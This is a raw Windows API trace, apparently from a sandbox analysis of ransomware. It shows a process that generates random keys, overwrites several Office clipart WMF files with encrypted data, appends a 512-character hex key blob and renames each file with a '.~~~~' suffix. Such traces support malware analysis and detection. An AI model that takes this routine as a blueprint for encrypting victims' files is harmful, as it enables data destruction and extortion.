	[0106.780] WriteFile (in: hFile=0x138, lpBuffer=0x29c1090*, nNumberOfBytesToWrite=0x1b64, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c1090*, lpNumberOfBytesWritten=0x24dfec0*=0x1b64, lpOverlapped=0x0) returned 1
	[0106.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c1090 | out: hHeap=0x300000) returned 1
	[0106.781] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.781] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.782] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.782] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.782] CloseHandle (hObject=0x138) returned 1
	[0106.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.782] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf.~~~~")) returned 1
	[0106.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.783] GetLastError () returned 0x0
	[0106.783] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2941fe8) returned 1
	[0106.785] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.785] CryptReleaseContext (hProv=0x2941fe8, dwFlags=0x0) returned 1
	[0106.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.785] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22677526161) returned 1
	[0106.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa95286b0, dwHighDateTime=0x1d60e1e)) 
	[0106.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286dda8
	[0106.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286dda8 | out: hHeap=0x300000) returned 1
	[0106.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28744d8
	[0106.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.786] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.786] GetLastError () returned 0x0
	[0106.786] GetLastError () returned 0x0
	[0106.787] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.787] GetLastError () returned 0x0
	[0106.787] GetLastError () returned 0x0
	[0106.850] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffed5a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.850] WriteFile (in: hFile=0x138, lpBuffer=0x29c1090*, nNumberOfBytesToWrite=0x12a6, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c1090*, lpNumberOfBytesWritten=0x24dfec0*=0x12a6, lpOverlapped=0x0) returned 1
	[0106.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c1090 | out: hHeap=0x300000) returned 1
	[0106.851] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.851] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.852] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.852] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.852] CloseHandle (hObject=0x138) returned 1
	[0106.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.852] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf.~~~~")) returned 1
	[0106.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.856] GetLastError () returned 0x0
	[0106.856] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.857] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.857] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.858] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22684775987) returned 1
	[0106.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa95e6d90, dwHighDateTime=0x1d60e1e)) 
	[0106.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286de50
	[0106.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286de50 | out: hHeap=0x300000) returned 1
	[0106.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28746a0
	[0106.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.858] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.859] GetLastError () returned 0x0
	[0106.859] GetLastError () returned 0x0
	[0106.859] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.859] GetLastError () returned 0x0
	[0106.859] GetLastError () returned 0x0
	[0106.862] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff9e80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.862] WriteFile (in: hFile=0x138, lpBuffer=0x29c1090*, nNumberOfBytesToWrite=0x6180, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c1090*, lpNumberOfBytesWritten=0x24dfec0*=0x6180, lpOverlapped=0x0) returned 1
	[0106.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c1090 | out: hHeap=0x300000) returned 1
	[0106.863] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.863] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.864] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.864] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.864] CloseHandle (hObject=0x138) returned 1
	[0106.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.864] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf.~~~~")) returned 1
	[0106.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.865] GetLastError () returned 0x0
	[0106.866] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.868] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.868] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.868] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22685796856) returned 1
	[0106.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa95e6d90, dwHighDateTime=0x1d60e1e)) 
	[0106.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286de88
	[0106.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286de88 | out: hHeap=0x300000) returned 1
	[0106.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874868
	[0106.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.869] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.869] GetLastError () returned 0x0
	[0106.869] GetLastError () returned 0x0
	[0106.869] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.869] GetLastError () returned 0x0
	[0106.869] GetLastError () returned 0x0
	[0106.872] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffde4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.872] WriteFile (in: hFile=0x138, lpBuffer=0x29c1090*, nNumberOfBytesToWrite=0x21b2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c1090*, lpNumberOfBytesWritten=0x24dfec0*=0x21b2, lpOverlapped=0x0) returned 1
	[0106.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c1090 | out: hHeap=0x300000) returned 1
	[0106.873] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.873] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.873] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.873] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.874] CloseHandle (hObject=0x138) returned 1
	[0106.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a22a8
	[0106.874] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf.~~~~")) returned 1
	[0106.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a22a8 | out: hHeap=0x300000) returned 1
	[0106.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.875] GetLastError () returned 0x0
	[0106.875] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.877] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.877] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.877] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22686733706) returned 1
	[0106.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa960cef0, dwHighDateTime=0x1d60e1e)) 
	[0106.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286dec0
	[0106.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286dec0 | out: hHeap=0x300000) returned 1
	[0106.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a22a8
	[0106.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874900
	[0106.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a22a8 | out: hHeap=0x300000) returned 1
	[0106.878] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.878] GetLastError () returned 0x0
	[0106.878] GetLastError () returned 0x0
	[0106.879] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.879] GetLastError () returned 0x0
	[0106.879] GetLastError () returned 0x0
	[0106.882] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff1bd4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.882] WriteFile (in: hFile=0x138, lpBuffer=0x29c1090*, nNumberOfBytesToWrite=0xe42c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c1090*, lpNumberOfBytesWritten=0x24dfec0*=0xe42c, lpOverlapped=0x0) returned 1
	[0106.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c1090 | out: hHeap=0x300000) returned 1
	[0106.884] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.884] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.884] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.884] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.884] CloseHandle (hObject=0x138) returned 1
	[0106.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2350
	[0106.885] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf.~~~~")) returned 1
	[0106.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2350 | out: hHeap=0x300000) returned 1
	[0106.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.886] GetLastError () returned 0x0
	[0106.887] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.889] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.889] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.889] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22688162723) returned 1
	[0106.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa9633050, dwHighDateTime=0x1d60e1e)) 
	[0106.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286def8
	[0106.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286def8 | out: hHeap=0x300000) returned 1
	[0106.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2350
	[0106.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874998
	[0106.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2350 | out: hHeap=0x300000) returned 1
	[0106.892] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.893] GetLastError () returned 0x0
	[0106.893] GetLastError () returned 0x0
	[0106.893] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
